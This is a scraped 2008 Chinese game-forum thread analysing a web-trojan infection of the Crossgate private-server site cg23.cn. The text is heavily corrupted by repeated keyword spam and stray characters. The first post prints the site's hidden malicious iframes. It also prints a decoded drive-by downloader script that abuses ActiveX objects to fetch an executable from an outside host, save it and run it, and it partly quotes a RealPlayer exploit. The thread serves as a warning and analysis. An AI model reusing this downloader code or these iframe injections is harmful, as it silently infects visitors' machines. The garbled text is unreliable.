16 12
发新话题
打印

[讨论] cg23分析

cg23分析

Host: www.cg23.cn
* W  H* p% B* r0 r1 ]4 }魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表Content-Location: http://www.cg23.cn/Index.htm
2 Y. L3 J% b- a. @5 T魔力私服,最新魔力宝贝私服技术交流--srcbbs.mocwww.com! X8 A; \: X' L% s* N6 O
bbs.mocwww.com& Q4 y* Y* i+ k& F" U
<script language="JavaScript" type="text/JavaScript" src="http://news.baidu.com/ns?word=title%3A%C4%A7%C1%A6%B1%A6%B1%B4&tn=newsfcu&from=news&cl=2&rn=25&ct=0"></script>
& T0 D. v1 R% E; {; A魔力私服,最新魔力宝贝私服技术交流--百度新闻-魔力宝贝魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表. u, Y& h7 `0 }0 t2 i
妖城在线论坛: L, [( z4 u1 d7 n3 l
http://wpa.qq.com/pa?p=1:******************妖城在线论坛, _( N) _' ?* i8 t3 U
10数个魔力技术顾问的QQ链接魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表9 u6 [/ `& ?9 T. P! p1 v( r

8 V2 q$ b% [# k1 F, X魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表<script src="javascript/jf.js" type="text/javascript"></script>魔力私服,最新魔力宝贝私服技术交流3 X& ?* @; a( y) c9 ]2 ]; i
//模仿语言包式的简繁转换功能插件!+ ^5 O5 A7 Z7 o6 j* b' F; i: j8 k8 y

, N' C2 d/ x/ w  M) I( V6 y—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート<script language="javascript" type="text/javascript" src="http://js.users.51.la/1326170.js"></script>
! T8 c3 t* z2 P- Z9 b' R0 Z$ \" p! Bbbs.mocwww.com51.la流量统计魔力私服,最新魔力宝贝私服技术交流+ K6 O: y* Z3 F! e# G
魔力私服,最新魔力宝贝私服技术交流3 C' f4 ?1 @$ n" C1 V1 h( `" ]
<script src='http://s71.cnzz.com/stat.php?id=722391&web_id=722391&online=2' language='JavaScript' charset='gb2312'></script>5 a7 W; Z) b" n7 ~0 {* V. |
cnzz流量统计4 C- C$ G1 }3 U9 C1 r4 `$ ^' h

, o1 P1 j7 t" E" [bbs.mocwww.com<script language="javascript" src="http://count36.51yes.com/click.aspx?id=361527223&logo=12"></script>
$ `& n! S; s; W7 S魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表51YES网站统计
; U  w3 [, D! s3 U0 w& p& b2 F0 v
. w4 L$ ~! {' t$ \+ ^* V8 {<iframe src=http://1.100190.com/1.htm?6 width=50 height=0></iframe></a>魔力私服,最新魔力宝贝私服技术交流+ s" u; v1 B7 Y
下面是1.htm的内容
% y7 q; R1 u* k0 v8 w( y6 [: N2 V$ y—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート[<iframe src=http://1.100190.com/d/d.htm width=100 height=100></iframe>
+ b0 @9 q% S( G- X3 H魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表<iframe src=http://1.100190.com/d/06014.htm width=100 height=100></iframe>魔力私服,最新魔力宝贝私服技术交流% H; \. U; L4 S3 U
<iframe src=http://1.100190.com/d/real.htm width=100 height=100></iframe>

# Q4 |+ }9 E/ m; D1 ?" L/ X6 t# x! L魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表这里是重点了
; q& Y! v# w" ^3 I6 I/ abbs.mocwww.com<script language="javascript" type="text/javascript" src="http://js.users.51.la/1586580.js"></script>
5 \4 t0 X! `; C- O/ G% z3 G8 C- |魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表51.la流量统计: R4 y- n5 k, K) z( v, n
]$ p! ~9 i; u6 T' S; I  z5 B7 X
闲来无事,给大家分析一下吧
9 a% ]7 a* P) K06014.htm        看名字好像是蛮老的那个溢出洞洞妖城在线论坛, n, ~8 ?. L7 p
解码后
& _7 t8 s+ a, Y8 q<script>var fuck,cike;fuck="http://1.111281.com/down.exe";cike="cike.com";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",fuck,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(cike,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shellexecute(cike,"","","open",0);}catch(e){};</script>
8 a% b3 b4 [3 x$ j6 T, `—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート貌似是个下载者饿,打包了,大家没事研究研究 我就跳过了……
( A5 u; s" g- a: U/ r) s魔力私服,最新魔力宝贝私服技术交流+ |$ }) ^# e- J! c0 X4 f
d.htm        解码之—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート% S+ D% f4 m  E& Y7 A9 f3 e7 ^
<iframe style=display:none src="http://1.100190.com/d/bf.htm"></iframe>魔力私服,最新魔力宝贝私服技术交流4 m$ C  w8 L! E
呜呜,我们继续魔力私服,最新魔力宝贝私服技术交流& ?' y9 q/ T/ j3 S5 a
空文件,可能是后备用的吧—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート& o# J' z, f' u" x( A! N, O9 O

" E" h9 h& T9 ?  E  x—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲートreal.htm        看名字可能根播放器的oday有关
6 s, s) E7 b, B0 O- t解码之——
0 Y- l6 r3 F/ Q) k' t% d* J—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲートfunction RealExploit(){afdsffffasdf="flsdajflasdjfl32rewr231ffas";var ……
" Y( d) I2 _+ L% C2 w& Q—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート恩,查资料得知为机器狗病毒,不过不玩这个 不大懂魔力私服,最新魔力宝贝私服技术交流# y4 o- x/ M) N" H: j# Y
好了,确定是网马,至于效果如何,反正我没中招……

8 M1 B' E3 X% @7 y* v, ubbs.mocwww.com
" T" C- A  H* q0 b) s就酱子吧,很多防护不好的网站都会被人挂马,希望cde尽快处理,我对其人没有任何恶意的,大家不要有事没事就对他妄加否定,
, e' Z$ r+ A+ ~1 {" z7 v& }) C6 H魔力私服,最新魔力宝贝私服技术交流想想 人家辛辛苦苦为了什么那?开那么多群,没说过收费什么的吧? 有知道的东西就共享出来 也没见藏着掖着吧?
2 F$ v8 o* b8 l" k( ^- W9 b魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表紫薇剑是谁我不晓得,5 P* i, X1 s* Y( |8 u) {
但是cg23的ange我还是打过交道的……
魔力私服,最新魔力宝贝私服技术交流' W& n5 a; M+ k, x0 r
7 |' o3 M* K; X
<param name="URL" value="http://www.jdzblog.com/uploadfiles/2007-3/327162852.mp3">
' @5 u) j# n! c' ~& s: K3 k妖城在线论坛最后给大家附个音乐 深吸一口气,放松一下,没什么大不了的……
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート9 Y" ^/ Q$ v4 ?
妖城在线论坛( y* a5 b. b& ?. s- K# |+ Q  ?
[ 本帖最后由 myzz01 于 2008-2-4 21:53 编辑 ]

TOP

那个是内嵌的JS调用溢出马.很老的一种了..魔力私服,最新魔力宝贝私服技术交流% W: n5 C* i* x  Y6 g- a8 R& ^  d
LS的兄弟我劝你..魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表$ W: F" M2 \2 ?, G$ o, F0 ^  t2 l
搞CG,不知道紫薇剑,就和中国人不知道毛泽东一样.
: c2 e0 Q  k7 X( N  K魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表你没资格说内些话..
你的名气很大,并不代表着你很强大。

TOP

—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート* U. F: R5 Y  F
开那么多群.从来没说过话.bbs.mocwww.com% E' a1 H2 M, G; R
和某XXOO反挂不一样?
1 D8 C: u6 F( m% H! e魔力私服,最新魔力宝贝私服技术交流技术群一大堆.问问题没见回.
, ~- C8 A; t" O! \  b一买他东西积极的很.
! t: B; M# n! w# a  P
8 q0 c9 ?6 y& a8 w3 _, W. F- L1 S魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
" |% z% f/ u6 n  u% e0 P妖城在线论坛他现在扔出来的东西都是别人淘汰的.
" e9 z' e9 K/ w, }: a$ O% p也不知道谁抱着一套所谓的反挂,还当宝咧..
你的名气很大,并不代表着你很强大。

TOP

这样啊··

TOP

那个  资格不晓得要怎么赚取 …… :-)  是不是当中国人只要知道毛泽东就具备中国人的血统了?估计某些知道老毛的小日本要雀跃了……
0 m+ {9 q/ ]3 [魔力私服,最新魔力宝贝私服技术交流血统是与生俱来的,根毛泽东关系不大,我的资格 仿佛也根我知道不知道紫薇剑关系不大吧?
4 r$ ]9 \# z# Mbbs.mocwww.com我喜欢根海星兄 妖哥 小男这样说话爽快的人交流,至于不从技术方面讨论问题 而专门搞人事鉴定的……  不是很感冒……
2 g" |- [& h, M(*^__^*)   随便说说拉 ange真的打了很久叫道的 从我开始研究魔力(快1个月了) 没事都会在QQ上交流下的 ——感觉人有点迷糊 但是没有什么坏心眼吧?
1 Q& z8 A* \' [" V, }  c魔力私服,最新魔力宝贝私服技术交流 至于FGMAX :) 我可是加你QQ拜师的哦 可惜你不回复…… 唉  要不现在收下我吧?

TOP

我,大家都知道,对话不对人。
; l4 Y$ _: A8 H要是惹着你了就当别在意。
: }7 }0 H! }( b4 T6 V7 W妖城在线论坛bbs.mocwww.com! Y) h2 M) f: M7 m1 |% J6 F1 H- E
加我人太多,每天问问题人也太多。
& o6 {& [7 `  L" n, L1 V( S- Jbbs.mocwww.com不能一一照料。
( j( E8 Z* \' G- S  C—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート1 a% z, A; C1 \  m4 m
我就收了一个徒弟,晨曦。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート4 E" \( U; G( A, w/ v% O' J7 A

3 v1 ~+ A* {9 z2 O0 Q0 Ubbs.mocwww.com以后有需要就说,知道肯定告你。
你的名气很大,并不代表着你很强大。

TOP

引用:
原帖由 FGMAX 于 2008-2-4 22:08 发表
! `% o) x2 B$ W2 e) Jbbs.mocwww.com我,大家都知道,对话不对人。
- w  F! e  ^# S4 P; G9 D$ l—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート要是惹着你了就当别在意。魔力私服,最新魔力宝贝私服技术交流6 e6 d" L/ R' s6 |: M
妖城在线论坛: y" C3 y+ _4 _7 W& u4 {' s: l( ?
加我人太多,每天问问题人也太多。bbs.mocwww.com, `( ^3 }/ A7 ~; ]
不能一一照料。bbs.mocwww.com4 s% {5 W" Z) |# q" u5 r* z
妖城在线论坛* t' s+ j. \$ k- u1 `' m
我就收了一个徒弟,晨曦。
4 T; H' [7 B' r# m" Q5 v9 ^/ a—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート
6 m6 q6 x; i% ]- c; X/ q魔力私服,最新魔力宝贝私服技术交流以后有需要就说,知道肯定告你。
, R& f. q3 }2 t+ }& W+ K
妖城在线论坛7 e7 H  F! Z1 |, w

' [& z' n2 v. D7 b9 u+ `妖城在线论坛:)  交个朋友 一起交流饿 …… 我去想办法看懂魔力封包处理部分的代码去…… 想学的东西太多 时间太少 一动就该睡觉了……郁闷 HOHO  晚上见……

TOP

回家前 上来看看—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート0 H& ~5 r2 H7 v& Z$ X% g0 k8 g) J

TOP

RealPlayer 的溢出漏洞,打完RealPlayer溢出补丁的不会中.

TOP

RealPlayer 不装呢- -

TOP

CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

TOP

引用:
原帖由 ?k|尛水 于 2008-2-4 22:53 发表 魔力私服,最新魔力宝贝私服技术交流- t- B0 ?" s+ @/ f! j
RealPlayer 不装呢- -
7 X& ~5 n% J$ i9 J妖城在线论坛不装当然就中不了real的0day了,不过其他溢出漏洞不胜枚举,而且就算不中马,被挂马的站访问起来也会很慢…… 经常访问很容易体会出区别…… 中木马也一样 你要经常使用电脑就会有手感的 当机器中木马病毒什么的 你就会感觉不顺手了……

TOP

呵呵...real我就没装过~~呵呵..

2007年10月6日至今已过去十三个春夏秋冬,感谢妖友的一路陪伴!
2020年6月12日 By.xuyaoxy

TOP

我问问无双,是被人挂了还是自己搞的……。它那站流量也没多少,应该不至于坏自己的名声做这种事。
3 k8 z) L4 `+ \7 c7 Z8 j( Mbbs.mocwww.com
% U7 G( W# v6 R6 S  l( n现在有马是事实了
妖城欢迎您!

TOP

没说过收费?那他的高级群谁出的QB,你也不想想

TOP

 16 12
发新话题